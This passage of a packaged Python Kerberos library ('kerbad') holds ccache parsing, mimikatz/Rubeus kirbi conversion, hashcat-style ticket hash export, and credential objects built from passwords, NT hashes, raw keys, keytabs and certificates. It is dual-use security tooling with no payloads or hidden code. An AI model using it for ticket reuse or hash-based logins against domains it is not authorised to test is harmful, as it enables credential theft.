ticket_info['prealm']) #yaaaaay 4 additional weirdness!!!! #if sname name-string contains a realm as well htne impacket will crash miserably :( if len(ticket_info['sname']['name-string']) > 2 and ticket_info['sname']['name-string'][-1].upper() == ticket_info['srealm'].upper(): logger.debug('SNAME contains the realm as well, trimming it') t = ticket_info['sname'] t['name-string'] = t['name-string'][:-1] c.server = CCACHEPrincipal.from_asn1(t, ticket_info['srealm']) else: c.server = CCACHEPrincipal.from_asn1(ticket_info['sname'], ticket_info['srealm']) c.time = Times.from_asn1(ticket_info) c.key = Keyblock.from_asn1(ticket_info['key']) c.is_skey = 0 #not sure! c.tktflags = TicketFlags(ticket_info['flags']).cast(core.IntegerBitString).native c.num_address = 0 c.num_authdata = 0 c.ticket = CCACHEOctetString.from_asn1(Ticket(krbcred['tickets'][0]).dump()) #kirbi only stores one ticket per file c.second_ticket = CCACHEOctetString.empty() return c @staticmethod def from_asn1(ticket, data): ### # data = KrbCredInfo ### c = Credential() c.client = CCACHEPrincipal.from_asn1(data['pname'], data['prealm']) c.server = CCACHEPrincipal.from_asn1(data['sname'], data['srealm']) c.key = Keyblock.from_asn1(data['key']) c.is_skey = 0 #not sure! c.tktflags = TicketFlags(data['flags']).cast(core.IntegerBitString).native c.num_address = 0 c.num_authdata = 0 c.ticket = CCACHEOctetString.from_asn1(ticket['enc-part']['cipher']) c.second_ticket = CCACHEOctetString.empty() return c @staticmethod def parse(reader): c = Credential() c.client = CCACHEPrincipal.parse(reader) c.server = CCACHEPrincipal.parse(reader) c.key = Keyblock.parse(reader) c.time = Times.parse(reader) c.is_skey = int.from_bytes(reader.read(1), byteorder='big', signed=False) c.tktflags = int.from_bytes(reader.read(4), byteorder='little', signed=False) c.num_address = int.from_bytes(reader.read(4), byteorder='big', signed=False) for _ in range(c.num_address): c.addrs.append(Address.parse(reader)) c.num_authdata = int.from_bytes(reader.read(4), byteorder='big', signed=False) for _ in range(c.num_authdata): c.authdata.append(Authdata.parse(reader)) c.ticket = CCACHEOctetString.parse(reader) c.second_ticket = CCACHEOctetString.parse(reader) return c @staticmethod def summary_header(): return ['client','server','starttime','endtime','renew-till'] def summary(self): return [ '%s@%s' % (self.client.to_string(separator='/'),self.client.realm.to_string()), '%s@%s' % (self.server.to_string(separator='/'), self.server.realm.to_string()), datetime.datetime.fromtimestamp(self.time.starttime).isoformat() if self.time.starttime != 0 else 'N/A', datetime.datetime.fromtimestamp(self.time.endtime).isoformat() if self.time.endtime != 0 else 'N/A', datetime.datetime.fromtimestamp(self.time.renew_till).isoformat() if self.time.renew_till != 0 else 'N/A', ] def to_bytes(self): t = self.client.to_bytes() t += self.server.to_bytes() t += self.key.to_bytes() t += self.time.to_bytes() t += self.is_skey.to_bytes(1, byteorder='big', signed=False) t += self.tktflags.to_bytes(4, byteorder='little', signed=False) t += self.num_address.to_bytes(4, byteorder='big', signed=False) for addr in self.addrs: t += addr.to_bytes() t += self.num_authdata.to_bytes(4, byteorder='big', signed=False) for ad in self.authdata: t += ad.to_bytes() t += self.ticket.to_bytes() t += self.second_ticket.to_bytes() return t class Keyblock: def __init__(self): self.keytype = None self.etype = None self.keylen = None self.keyvalue = None @staticmethod def from_asn1(data): k = Keyblock() k.keytype = data['keytype'] k.etype = 0 # not sure k.keylen = len(data['keyvalue']) k.keyvalue = data['keyvalue'] return k def to_asn1(self): t = {} t['keytype'] = self.keytype t['keyvalue'] = self.keyvalue return t @staticmethod def parse(reader): k = Keyblock() k.keytype = int.from_bytes(reader.read(2), byteorder='big', signed=True) k.etype = int.from_bytes(reader.read(2), byteorder='big', signed=True) k.keylen = int.from_bytes(reader.read(2), byteorder='big', signed=False) k.keyvalue = reader.read(k.keylen) return k def to_bytes(self): t = self.keytype.to_bytes(2, byteorder='big', signed=True) t += self.etype.to_bytes(2, byteorder='big', signed=True) t += self.keylen.to_bytes(2, byteorder='big', signed=False) t += self.keyvalue return t class Times: def __init__(self): self.authtime = None self.starttime = None self.endtime = None self.renew_till = None @staticmethod def from_asn1(enc_as_rep_part): t = Times() t.authtime = dt_to_kerbtime(enc_as_rep_part['authtime']) \ if 'authtime' in enc_as_rep_part and enc_as_rep_part['authtime'] else 0 t.starttime = dt_to_kerbtime(enc_as_rep_part['starttime']) \ if 'starttime' in enc_as_rep_part and enc_as_rep_part['starttime'] else 0 t.endtime = dt_to_kerbtime(enc_as_rep_part['endtime']) \ if 'endtime' in enc_as_rep_part and enc_as_rep_part['endtime'] else 0 t.renew_till = dt_to_kerbtime(enc_as_rep_part['renew-till']) \ if 'renew-till' in enc_as_rep_part and enc_as_rep_part['renew-till'] else 0 return t @staticmethod def dummy_time(start= datetime.datetime.now(datetime.timezone.utc)): t = Times() t.authtime = dt_to_kerbtime(start) t.starttime = dt_to_kerbtime(start ) t.endtime = dt_to_kerbtime(start + datetime.timedelta(days=1)) t.renew_till = dt_to_kerbtime(start + datetime.timedelta(days=2)) return t @staticmethod def parse(reader): t = Times() t.authtime = int.from_bytes(reader.read(4), byteorder='big', signed=False) t.starttime = int.from_bytes(reader.read(4), byteorder='big', signed=False) t.endtime = int.from_bytes(reader.read(4), byteorder='big', signed=False) t.renew_till = int.from_bytes(reader.read(4), byteorder='big', signed=False) return t def to_bytes(self): t = self.authtime.to_bytes(4, byteorder='big', signed=False) t += self.starttime.to_bytes(4, byteorder='big', signed=False) t += self.endtime.to_bytes(4, byteorder='big', signed=False) t += self.renew_till.to_bytes(4, byteorder='big', signed=False) return t @staticmethod def from_bytes(data:bytes): return Times.parse(io.BytesIO(data)) class Address: def __init__(self): self.addrtype:int = None self.addrdata:CCACHEOctetString = None @staticmethod def parse(reader): a = Address() a.addrtype = int.from_bytes(reader.read(2), byteorder='big', signed=False) a.addrdata = CCACHEOctetString.parse(reader) return a def to_bytes(self): t = self.addrtype.to_bytes(2, byteorder='big', signed=False) t += self.addrdata.to_bytes() return t def from_bytes(data:bytes): return Address.parse(io.BytesIO(data)) class Authdata: def __init__(self): self.authtype:int = None self.authdata:CCACHEOctetString = None @staticmethod def parse(reader:io.BytesIO): a = Authdata() a.authtype = int.from_bytes(reader.read(2), byteorder='big', signed=False) a.authdata = CCACHEOctetString.parse(reader) return a def to_bytes(self): t = self.authtype.to_bytes(2, byteorder='big', signed=False) t += self.authdata.to_bytes() return t def from_bytes(data:bytes): return Authdata.parse(io.BytesIO(data)) class CCACHEPrincipal: def __init__(self): self.name_type:int = None self.num_components:int = None self.realm:CCACHEOctetString = None self.components:List[CCACHEOctetString] = [] @staticmethod def from_asn1(principal, realm): p = CCACHEPrincipal() p.name_type = principal['name-type'] p.num_components = len(principal['name-string']) p.realm = CCACHEOctetString.from_string(realm) for comp in principal['name-string']: p.components.append(CCACHEOctetString.from_asn1(comp)) return p @staticmethod def empty(): p = CCACHEPrincipal() p.name_type = 1 p.num_components = 1 p.realm = CCACHEOctetString.from_string('kerbi.corp') for _ in range(1): p.components.append(CCACHEOctetString.from_string('kerbi')) return p def to_string(self, separator = '-'): return separator.join([c.to_string() for c in self.components]) def to_asn1(self): t = {'name-type': self.name_type, 'name-string': [name.to_string() for name in self.components]} return t, self.realm.to_string() def to_spn(self): return '/'.join([name.to_string() for name in self.components]) + '@' + self.realm.to_string() @staticmethod def parse(reader): p = CCACHEPrincipal() p.name_type = int.from_bytes(reader.read(4), byteorder='big', signed=False) p.num_components = int.from_bytes(reader.read(4), byteorder='big', signed=False) p.realm = CCACHEOctetString.parse(reader) for _ in range(p.num_components): p.components.append(CCACHEOctetString.parse(reader)) return p def to_bytes(self): t = self.name_type.to_bytes(4, byteorder='big', signed=False) t += len(self.components).to_bytes(4, byteorder='big', signed=False) t += self.realm.to_bytes() for com in self.components: t += com.to_bytes() return t def __str__(self): t = self.realm.to_string() + '/' t += '/'.join([c.to_string() for c in self.components]) return t class CCACHEOctetString: def __init__(self): self.length:int = None self.data:bytes = None @staticmethod def empty(): o = CCACHEOctetString() o.length = 0 o.data = b'' return o def to_asn1(self): return self.data def to_string(self): return self.data.decode() @staticmethod def from_string(data): o = CCACHEOctetString() o.data = data.encode() o.length = len(o.data) return o @staticmethod def from_asn1(data): o = CCACHEOctetString() o.length = len(data) if isinstance(data,str): o.data = data.encode() else: o.data = data return o @staticmethod def parse(reader): o = CCACHEOctetString() o.length = int.from_bytes(reader.read(4), byteorder='big', signed=False) o.data = reader.read(o.length) return o def to_bytes(self): if isinstance(self.data,str): self.data = self.data.encode() self.length = len(self.data) t = len(self.data).to_bytes(4, byteorder='big', signed=False) t += self.data return t def __eq__(self, __o: object) -> bool: if isinstance(__o, CCACHEOctetString): return self.to_bytes() == __o.to_bytes() return False class CCACHE: """ As the header is rarely used -mostly static- you'd need to init this object with empty = True to get an object without header already present """ def __init__(self, empty = False): self.file_format_version = None #0x0504 self.headers = [] self.primary_principal = None self.credentials:List[Credential] = [] if empty == False: self.__setup() def __setup(self): self.file_format_version = 0x0504 header = Header() header.tag = 1 header.taglen = 8 header.tagdata = b'\x00\x00\x00\x00\x00\x00\x00\x00' self.headers.append(header) self.primary_principal = CCACHEPrincipal.empty() def __str__(self): t = '== CCACHE ==\n' t+= 'file_format_version : %s\n' % self.file_format_version for header in self.headers: t+= '%s\n' % header t+= 'primary_principal : %s\n' % self.primary_principal return t def add_tgt(self, as_rep, enc_as_rep_part, override_pp = True): #from AS_REP """ Creates credential object from the TGT and adds to the ccache file The TGT is basically the native representation of the asn1 encoded AS_REP data that the AD sends upon a succsessful TGT request. This function doesn't do decryption of the encrypted part of the as_rep object, it is expected that the decrypted XXX is supplied in enc_as_rep_part override_pp: bool to determine if client principal should be used as the primary principal for the ccache file """ c = Credential() c.client = CCACHEPrincipal.from_asn1(as_rep['cname'], as_rep['crealm']) if override_pp == True: self.primary_principal = c.client c.server = CCACHEPrincipal.from_asn1(enc_as_rep_part['sname'], enc_as_rep_part['srealm']) c.time = Times.from_asn1(enc_as_rep_part) c.key = Keyblock.from_asn1(enc_as_rep_part['key']) c.is_skey = 0 #not sure! c.tktflags = TicketFlags(enc_as_rep_part['flags']).cast(core.IntegerBitString).native c.num_address = 0 c.num_authdata = 0 c.ticket = CCACHEOctetString.from_asn1(Ticket(as_rep['ticket']).dump()) c.second_ticket = CCACHEOctetString.empty() self.credentials.append(c) def add_tgs(self, tgs_rep, enc_tgs_rep_part, override_pp = False): #from AS_REP """ Creates credential object from the TGS and adds to the ccache file The TGS is the native representation of the asn1 encoded TGS_REP data when the user requests a tgs to a specific service principal with a valid TGT This function doesn't do decryption of the encrypted part of the tgs_rep object, it is expected that the decrypted XXX is supplied in enc_as_rep_part override_pp: bool to determine if client principal should be used as the primary principal for the ccache file """ c = Credential() c.client = CCACHEPrincipal.from_asn1(tgs_rep['cname'], tgs_rep['crealm']) if override_pp == True: self.primary_principal = c.client c.server = CCACHEPrincipal.from_asn1(enc_tgs_rep_part['sname'], enc_tgs_rep_part['srealm']) c.time = Times.from_asn1(enc_tgs_rep_part) c.key = Keyblock.from_asn1(enc_tgs_rep_part['key']) c.is_skey = 0 #not sure! c.tktflags = TicketFlags(enc_tgs_rep_part['flags']).cast(core.IntegerBitString).native c.num_address = 0 c.num_authdata = 0 c.ticket = CCACHEOctetString.from_asn1(Ticket(tgs_rep['ticket']).dump()) c.second_ticket = CCACHEOctetString.empty() self.credentials.append(c) def add_kirbi(self, kirbi:Kirbi, override_pp = True): c = Credential.from_kirbi(kirbi) if override_pp == True: self.primary_principal = c.client self.credentials.append(c) def get_all_tgt_kirbis(self): """ Returns a list of AS_REP tickets in kirbi format (Kirbi). To determine which ticket are AP_REP we check for the server principal to be the kerberos service """ tgts = [] for cred in self.credentials: if cred.server.to_string(separator = '/').lower().find('krbtgt') != -1: tgts.append(cred.to_kirbi()[0]) return tgts def get_all_tgt(self): """ Returns a list of AS_REP tickets in native format (dict). To determine which ticket are AP_REP we check for the server principal to be the kerberos service """ tgts = [] for cred in self.credentials: if cred.server.to_string(separator = '/').lower().find('krbtgt') != -1: tgts.append(cred.to_tgt()) return tgts def get_tgs(self, spn:KerberosSPN, strict:bool=False): tgss = self.get_all_tgs() for tgs, keystruct in tgss: ticket_for = ('/'.join(tgs['ticket']['sname']['name-string'])) + '@' + tgs['ticket']['realm'] if ticket_for.upper() == str(spn).upper(): logger.debug('Found TGS for SPN %s' % ticket_for) return tgs, keystruct, None if strict is True: return None, None, Exception('No TGS found for SPN %s' % spn) # I hope you know what you are doing at this point... # Couldn't find the correct TGS for the SPN, returning the first one # the only valid reason this can happen is mismatching service tag in the SPN # this is a hack... return tgss[0][0], tgss[0][1], None def get_tgt(self, username, domain = None, strict:bool=False): tgts = [x for x in self.get_all_tgt()] if len(tgts) == 0: return None, None, Exception('No TGT found in CCACHE file') if strict is False: if username is None: #no username was supplied, returning first TGT and hope for the best logger.debug('Missing username, returning first availabla TGT!') return tgts[0][0], tgts[0][1], None if domain is None: # no domain was supplied, trying to find a TGT for the user in any domain for tgt, keystruct in tgts: if tgt['cname']['name-string'].find(str(username)) != -1: logger.debug('Found TGT for user %s' % username) return tgt, keystruct, None # no TGT found for the user in any domain # returning first TGT and hope for the best logger.debug('Missing domain, user not found, returning first availabla TGT!') return tgts[0][0], tgts[0][1], None # at this point it seems that both username and domain is supplied # proceeding as if strict check was true for tgt, keystruct in tgts: our_user = str(username) + '@' + str(domain) ticket_for = '/'.join(tgt['cname']['name-string']) + '@' + tgt['crealm'] if ticket_for.upper() == our_user.upper(): logger.debug('Found TGT for user %s' % our_user) return tgt, keystruct, None if strict is False: # no TGT found for the user in any domain # returning first TGT and hope for the best logger.debug('domain+user combo not found, returning first availabla TGT!') return tgts[0][0], tgts[0][1], None return None, None, Exception('No TGT found for user %s' % our_user) def get_all_tgs(self): tgss = [] for cred in self.credentials: if cred.server.to_string(separator = '/').lower().find('krbtgt') == -1: tgss.append(cred.to_tgs()) return tgss def get_hashes(self): """ Returns a list of hashes in hashcat-firendly format for tickets with encryption type 23 (which is RC4) all_hashes: overrides the encryption type filtering and returns hash for all tickets """ hashes = [] for cred in self.credentials: hashes.append(cred.to_hash()) return hashes @staticmethod def parse(reader:io.BytesIO): c = CCACHE(True) c.file_format_version = int.from_bytes(reader.read(2), byteorder='big', signed=False) hdr_size = int.from_bytes(reader.read(2), byteorder='big', signed=False) c.headers = Header.parse(reader.read(hdr_size)) #c.headerlen = #for i in range(c.headerlen): # c.headers.append(Header.parse(reader)) c.primary_principal = CCACHEPrincipal.parse(reader) pos = reader.tell() reader.seek(-1,2) eof = reader.tell() reader.seek(pos,0) while reader.tell() < eof: cred = Credential.parse(reader) if not (len(cred.server.components) > 0 and cred.server.components[0].to_string() == 'krb5_ccache_conf_data' and cred.server.realm.to_string() == 'X-CACHECONF:'): c.credentials.append(cred) return c def to_bytes(self): t = self.file_format_version.to_bytes(2, byteorder='big', signed=False) t_hdr = b'' for header in self.headers: t_hdr += header.to_bytes() t += len(t_hdr).to_bytes(2, byteorder='big', signed=False) t += t_hdr t += self.primary_principal.to_bytes() for cred in self.credentials: t += cred.to_bytes() return t def list_targets(self): for cred in self.credentials: target = cred.server yield target.to_spn() @staticmethod def from_kirbi(kirbidata:Kirbi): if isinstance(kirbidata, Kirbi) is False: kirbi = Kirbi.from_bytes(kirbidata) else: kirbi = kirbidata cc = CCACHE() cc.add_kirbi(kirbi) return cc @staticmethod def from_kirbifile(kirbi_filename:str): kf_abs = os.path.abspath(kirbi_filename) kirbidata = None with open(kf_abs, 'rb') as f: kirbidata = f.read() try: ccache = CCACHE.from_kirbi(kirbidata) except: #maybe the kirbi file is actually base64 encoded from rubeus? kirbi = Kirbi.from_b64(kirbidata) ccache = CCACHE.from_kirbi(kirbi) return ccache @staticmethod def from_kirbidir(directory_path): """ Iterates trough all .kirbi files in a given directory and converts all of them into one CCACHE object """ cc = CCACHE() dir_path = os.path.join(os.path.abspath(directory_path), '*.kirbi') for filename in glob.glob(dir_path): kirbi = Kirbi.from_file(filename) cc.add_kirbi(kirbi) return cc def to_kirbidir(self, directory_path:str): """ Converts all credential object in the CCACHE object to the kirbi file format used by mimikatz. The kirbi file format supports one credential per file, so prepare for a lot of files being generated. directory_path: str the directory to write the kirbi files to """ kf_abs = os.path.abspath(directory_path) for cred in self.credentials: kirbi, filename = cred.to_kirbi() filename = '%s.kirbi' % filename.replace('..','!') filepath = os.path.join(kf_abs, filename) kirbi.to_file(filepath) @staticmethod def from_file(filename): """ Parses the ccache file and returns a CCACHE object """ with open(filename, 'rb') as f: return CCACHE.parse(f) def to_file(self, filename): """ Writes the contents of the CCACHE object to a file """ with open(filename, 'wb') as f: f.write(self.to_bytes()) @staticmethod def from_bytes(data): return CCACHE.parse(io.BytesIO(data)) @staticmethod def from_hex(hexdata): return CCACHE.from_bytes(bytes.fromhex(hexdata)) def to_hex(self): return self.to_bytes().hex() def to_b64(self): return base64.b64encode(self.to_bytes()).decode('ascii') @staticmethod def from_b64(b64data): return CCACHE.from_bytes(base64.b64decode(b64data)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1758523930.0 kerbad-0.5.10/kerbad/common/constants.py0000777000175000000000000000131515064171032017235 0ustar00silverrootimport enum class KerberosSecretType(enum.Enum): PASSWORD = 'PASSWORD' PW = 'PW' PWB64 = 'PWB64' PWHEX = 'PWHEX' PWPROMPT = 'PWPROMPT' PASS = 'PASS' NT = 'NT' AES = 'AES' #keeping this here for user's secret-type specification and compatibility reasons AES128 = 'AES128' AES256 = 'AES256' RC4 = 'RC4' DES = 'DES' DES3 = 'DES3' TDES = 'TDES' CCACHE = 'CCACHE' CCACHEB64 = 'CCACHEB64' CCACHEHEX = 'CCACHEHEX' KEYTAB = 'KEYTAB' KEYTABHEX = 'KEYTABHEX' KEYTABB64 = 'KEYTABB64' KIRBI = 'KIRBI' KIRBIB64 = 'KIRBIB64' KIRBIHEX = 'KIRBIHEX' PFX = 'PFX' PFXB64 = 'PFXB64' PFXHEX = 'PFXHEX' PFXSTR = 'PFXSTR' PEM = 'PEM' PEMB64 = 'PEMB64' PEMHEX = 'PEMHEX' NONE = 'NONE' CERTSTORE = 'CERTSTORE'././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1758553652.0 kerbad-0.5.10/kerbad/common/creds.py0000777000175000000000000005613315064263064016340 0ustar00silverrootfrom __future__ import annotations import getpass import collections import base64 import platform import copy from typing import List import os from unicrypto import hashlib from cryptography import x509 as cryptoX509 from cryptography.hazmat.primitives.serialization import pkcs12 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.serialization import Encoding from kerbad.common.constants import KerberosSecretType from kerbad.protocol.encryption import string_to_key, Enctype from kerbad.protocol.constants import EncryptionType from kerbad.common.ccache import CCACHE from kerbad.common.keytab import Keytab from kerbad.common.kirbi import Kirbi from asn1crypto import cms from asn1crypto import algos from asn1crypto import x509 from kerbad.protocol.dirtydh import DirtyDH def get_encoded_data(data:bytes or str, encoding = 'file') -> bytes: if encoding == 'file': with open(data, 'rb') as kf: return kf.read() elif encoding == 'hex': return bytes.fromhex(data) elif encoding == 'b64' or encoding == 'base64': if isinstance(data, str): data = data.encode() return base64.b64decode(data) elif encoding == 'raw': if isinstance(data, str): data = data.encode() return data raise Exception('Unknown encoding "%s"!' % encoding) class KerberosCredential: def __init__(self): self.username:str = None self.domain:str = None self.password:str = None self.nt_hash:str = None self.lm_hash:str = None self.kerberos_key_aes_256:str = None self.kerberos_key_aes_128:str = None self.kerberos_key_des:str = None self.kerberos_key_rc4:str = None self.kerberos_key_des3:str = None self.certificate = None self.private_key = None self.__hcert = None #handle on the windows certificate store self.__use_windows_certstore:bool = False self.commonname:str = None self.certstore_name:str = None self.dhparams:DirtyDH = None self.ccache:CCACHE = None self.ccache_spn_strict_check:bool = False self.nopreauth = False self.override_etypes:List[EncryptionType] = [] def get_common_enctypes(self, server_enctypes:List[EncryptionType]) -> List[EncryptionType]: client_enctypes = self.get_supported_enctypes(as_int=False) common_enctypes = list(set([s_enctype for s_enctype in server_enctypes]) & set(client_enctypes)) if len(common_enctypes) == 0: raise Exception('No common supported enctypes! Server: %s Client: %s' % ( ', '.join([s_enctype.name for s_enctype in server_enctypes]), ', '.join([c_enctype.name for c_enctype in client_enctypes]) ) ) return common_enctypes def get_preferred_enctype(self, server_enctypes:List[EncryptionType]) -> EncryptionType: client_enctypes = self.get_supported_enctypes(as_int=False) common_enctypes = self.get_common_enctypes(server_enctypes) for c_enctype in client_enctypes: if c_enctype in common_enctypes: return c_enctype def get_key_for_enctype(self, etype:EncryptionType, salt:bytes = None) -> bytes: """ Returns the encryption key bytes for the enctryption type. """ if etype == EncryptionType.AES256_CTS_HMAC_SHA1_96: if self.kerberos_key_aes_256: return bytes.fromhex(self.kerberos_key_aes_256) if self.password is not None: if not salt: salt = (self.domain.upper() + self.username).encode() return string_to_key(Enctype.AES256, self.password, salt).contents raise Exception('There is no key for AES256 encryption') elif etype == EncryptionType.AES128_CTS_HMAC_SHA1_96: if self.kerberos_key_aes_128: return bytes.fromhex(self.kerberos_key_aes_128) if self.password is not None: if not salt: salt = (self.domain.upper() + self.username).encode() return string_to_key(Enctype.AES128, self.password, salt).contents raise Exception('There is no key for AES128 encryption') elif etype == EncryptionType.ARCFOUR_HMAC_MD5: if self.kerberos_key_rc4: return bytes.fromhex(self.kerberos_key_rc4) if self.nt_hash: return bytes.fromhex(self.nt_hash) elif self.password: if isinstance(self.password, str): pw = self.password.encode('utf-16-le') elif isinstance(self.password, bytes): pw = self.password else: raise Exception('Unknown password type: %s' % type(self.password)) self.nt_hash = hashlib.md4(pw).hexdigest().upper() return bytes.fromhex(self.nt_hash) else: raise Exception('There is no key for RC4 encryption') elif etype == EncryptionType.DES3_CBC_SHA1: if self.kerberos_key_des3: return bytes.fromhex(self.kerberos_key_des3) elif self.password: if not salt: salt = (self.domain.upper() + self.username).encode() return string_to_key(Enctype.DES3, self.password, salt).contents else: raise Exception('There is no key for DES3 encryption') elif etype == EncryptionType.DES_CBC_MD5: #etype == EncryptionType.DES_CBC_CRC or etype == EncryptionType.DES_CBC_MD4 or if self.kerberos_key_des: return bytes.fromhex(self.kerberos_key_des) elif self.password: if not salt: salt = (self.domain.upper() + self.username).encode() return string_to_key(Enctype.DES_MD5, self.password, salt).contents else: raise Exception('There is no key for DES encryption') elif etype == EncryptionType.ARCFOUR_MD4: if self.kerberos_key_rc4: return bytes.fromhex(self.kerberos_key_rc4)[:8] if self.nt_hash: return bytes.fromhex(self.nt_hash)[:8] elif self.password: pw = self.password if isinstance(self.password, str): pw = self.password.encode('utf-16-le') elif isinstance(self.password, bytes): pw = self.password else: raise Exception('Unknown password type: %s' % type(self.password)) self.nt_hash = hashlib.md4(pw).hexdigest().upper() return bytes.fromhex(self.nt_hash)[:8] else: raise Exception('There is no key for RC4 encryption') else: raise Exception('Unsupported encryption type: %s' % etype.name) def get_supported_enctypes(self, as_int = True) -> List[EncryptionType]: """ Returns a list of all EncryptionTypes this credentials can use for authentication """ supp_enctypes = collections.OrderedDict() if self.override_etypes is not None and len(self.override_etypes) > 0: for etype in self.override_etypes: if isinstance(etype, int): etype = EncryptionType(etype) supp_enctypes[etype] = 1 else: if self.nopreauth: supp_enctypes[EncryptionType.ARCFOUR_HMAC_MD5] = 1 supp_enctypes[EncryptionType.AES256_CTS_HMAC_SHA1_96] = 1 supp_enctypes[EncryptionType.AES128_CTS_HMAC_SHA1_96] = 1 supp_enctypes[EncryptionType.DES3_CBC_SHA1] = 1 supp_enctypes[EncryptionType.DES_CBC_MD5] = 1 supp_enctypes[EncryptionType.ARCFOUR_MD4] = 1 #supp_enctypes[EncryptionType.DES_CBC_MD4] = 1 #supp_enctypes[EncryptionType.DES_CBC_CRC] = 1 if self.kerberos_key_aes_256: supp_enctypes[EncryptionType.AES256_CTS_HMAC_SHA1_96] = 1 if self.kerberos_key_aes_128: supp_enctypes[EncryptionType.AES128_CTS_HMAC_SHA1_96] = 1 if self.password: supp_enctypes[EncryptionType.ARCFOUR_HMAC_MD5] = 1 supp_enctypes[EncryptionType.AES256_CTS_HMAC_SHA1_96] = 1 supp_enctypes[EncryptionType.AES128_CTS_HMAC_SHA1_96] = 1 supp_enctypes[EncryptionType.DES3_CBC_SHA1] = 1 supp_enctypes[EncryptionType.DES_CBC_MD5] = 1 supp_enctypes[EncryptionType.ARCFOUR_MD4] = 1 #supp_enctypes[EncryptionType.DES_CBC_MD4] = 1 #supp_enctypes[EncryptionType.DES_CBC_CRC] = 1 if self.password or self.nt_hash or self.kerberos_key_rc4: supp_enctypes[EncryptionType.ARCFOUR_HMAC_MD5] = 1 supp_enctypes[EncryptionType.ARCFOUR_MD4] = 1 if self.kerberos_key_des: supp_enctypes[EncryptionType.DES3_CBC_SHA1] = 1 if self.certificate: supp_enctypes[EncryptionType.AES256_CTS_HMAC_SHA1_96] = 1 supp_enctypes[EncryptionType.AES128_CTS_HMAC_SHA1_96] = 1 if self.ccache is not None and len(supp_enctypes) == 0: # only ccache is used, and at this point we have no idea what encryption types are supported # so we need to use the encryption types from the ccache #supp_enctypes = self.ccache.get_supported_enctypes() supp_enctypes = { EncryptionType.AES256_CTS_HMAC_SHA1_96: 1, EncryptionType.AES128_CTS_HMAC_SHA1_96: 1, EncryptionType.ARCFOUR_HMAC_MD5: 1, } if as_int == True: return [etype.value for etype in supp_enctypes] return [etype for etype in supp_enctypes] @staticmethod def from_keytab(keytab_file_path: str, principal: str, realm: str, encoding = 'file') -> KerberosCredential: """Returns a kerberos credential object from Keytab file/data""" cred = KerberosCredential() cred.username = principal cred.domain = realm data = get_encoded_data(keytab_file_path, encoding=encoding) return KerberosCredential.from_keytab_string(data, principal, realm) @staticmethod def from_ccache(data, principal: str = None, realm: str = None, encoding = 'file') -> KerberosCredential: """Returns a kerberos credential object with CCACHE database""" if data is None: ccache_path = os.environ.get('KRB5CCNAME') if ccache_path is None: raise Exception('No CCACHE data or path provided!') data = ccache_path data = get_encoded_data(data, encoding=encoding) k = KerberosCredential() k.username = principal k.domain = realm k.ccache = CCACHE.from_bytes(data) return k @staticmethod def from_kirbi(keytab_file_path: str, principal: str = None, realm: str = None, encoding = 'file') -> KerberosCredential: """Returns a kerberos credential object from .kirbi file""" if encoding != 'kirbi': data = get_encoded_data(keytab_file_path, encoding=encoding) kirbi = Kirbi.from_bytes(data) else: kirbi = copy.deepcopy(keytab_file_path) cred = KerberosCredential() cred.username = principal if principal is not None else kirbi.get_username() cred.domain = realm if realm is not None else kirbi.kirbiobj.native['tickets'][0]['realm'] cred.ccache = CCACHE.from_kirbi(kirbi) cred.ccache_spn_strict_check = False return cred @staticmethod def from_pfx(data:str, password:str, dhparams:DirtyDH = None, username:str = None, domain:str = None, encoding = 'file') -> KerberosCredential: """ Retruns a credential object from data found in the PFX file Username and domain will override the values found in the certificate """ data = get_encoded_data(data, encoding=encoding) return KerberosCredential.from_pfx_string(data, password, dhparams = dhparams, username = username, domain = domain) @staticmethod def from_pem(certdata: str or bytes, keydata:str or bytes, dhparams:DirtyDH = None, username:str = None, domain:str = None, encoding = 'file') -> KerberosCredential: """ Retruns a credential object from data found in the PEM file Username and domain will override the values found in the certificate """ certdata = get_encoded_data(certdata, encoding=encoding) return KerberosCredential.from_pem_data(certdata, keydata, dhparams = dhparams, username = username, domain = domain) @staticmethod def from_krbcred(keytab_file_path: str, principal: str = None, realm: str = None) -> KerberosCredential: return KerberosCredential.from_kirbi(keytab_file_path, principal, realm) @staticmethod def from_keytab_string(keytabdata: str or bytes, principal: str, realm: str) -> KerberosCredential: cred = KerberosCredential() if principal is None: raise Exception('Principal is required') if realm is None: raise Exception('Realm is required') cred.username = principal cred.domain = realm if isinstance(keytabdata, str): keytabdata = base64.b64decode(keytabdata.replace(' ','').replace('\r','').replace('\n','').replace('\t','').replace('','').encode()) keytab = Keytab.from_bytes(keytabdata) if len(keytab.entries) == 0: raise Exception('No entries found in keytab') if len(keytab.entries) == 1: keytab_entry = keytab.entries[0] else: for entry in keytab.entries: if entry.principal.to_pname().lower().find(principal.lower()) != -1: keytab_entry = entry break else: # No match found keytab_entry = keytab.entries[0] if Enctype.AES256 == keytab_entry.enctype: enctype = KerberosSecretType.AES256 elif Enctype.AES128 == keytab_entry.enctype: enctype = KerberosSecretType.AES128 elif Enctype.DES3 == keytab_entry.enctype: enctype = KerberosSecretType.DES3 elif Enctype.DES_CRC == keytab_entry.enctype: enctype = KerberosSecretType.DES elif Enctype.DES_MD4 == keytab_entry.enctype: enctype = KerberosSecretType.DES elif Enctype.DES_MD5 == keytab_entry.enctype: enctype = KerberosSecretType.DES elif Enctype.RC4 == keytab_entry.enctype: enctype = KerberosSecretType.RC4 if enctype: cred.add_secret(enctype, keytab_entry.key_contents.hex()) return cred def set_user_and_domain_from_cert(self, username:str = None, domain:str = None): """ Tries to guess the correct username and domain from the current certificate, if 'username' and/or 'domain' is set it will set those """ # In Microsoft ecosystem there seem to be two main naming conventions for their certificates' subjects: # - For AD, the principal's distinguished name a.k.a NT-X500-PRINCIPAL (there are others too but not supported here) # - For EntraID, something not standard like "//login.windows.net//" e.g: # S-1-12-1-2190073739-1304874406-157446548-3757931170/c26d6885-f0df-4642-8207-5a38c93d2347/login.windows.net/e5bdbab1-eaba-4c81-b953-67e45605e0d8/testuser@bloody.corp # # minkrb doesn't handle as-req with NT-X500-PRINCIPAL so we'll try to extract the UPN/DNS in the SAN or the sAMAccountName in the CN as last resort hoping they're identical # # Mapping reference: "[MS-PKCA] 3.1.5.2.1 Certificate Mapping" self.username = username upn = None dnsname = None cert_domain = None UPN_OID = "1.3.6.1.4.1.311.20.2.3" if not username: if self.certificate.subject_alt_name_value: for san in self.certificate.subject_alt_name_value: if 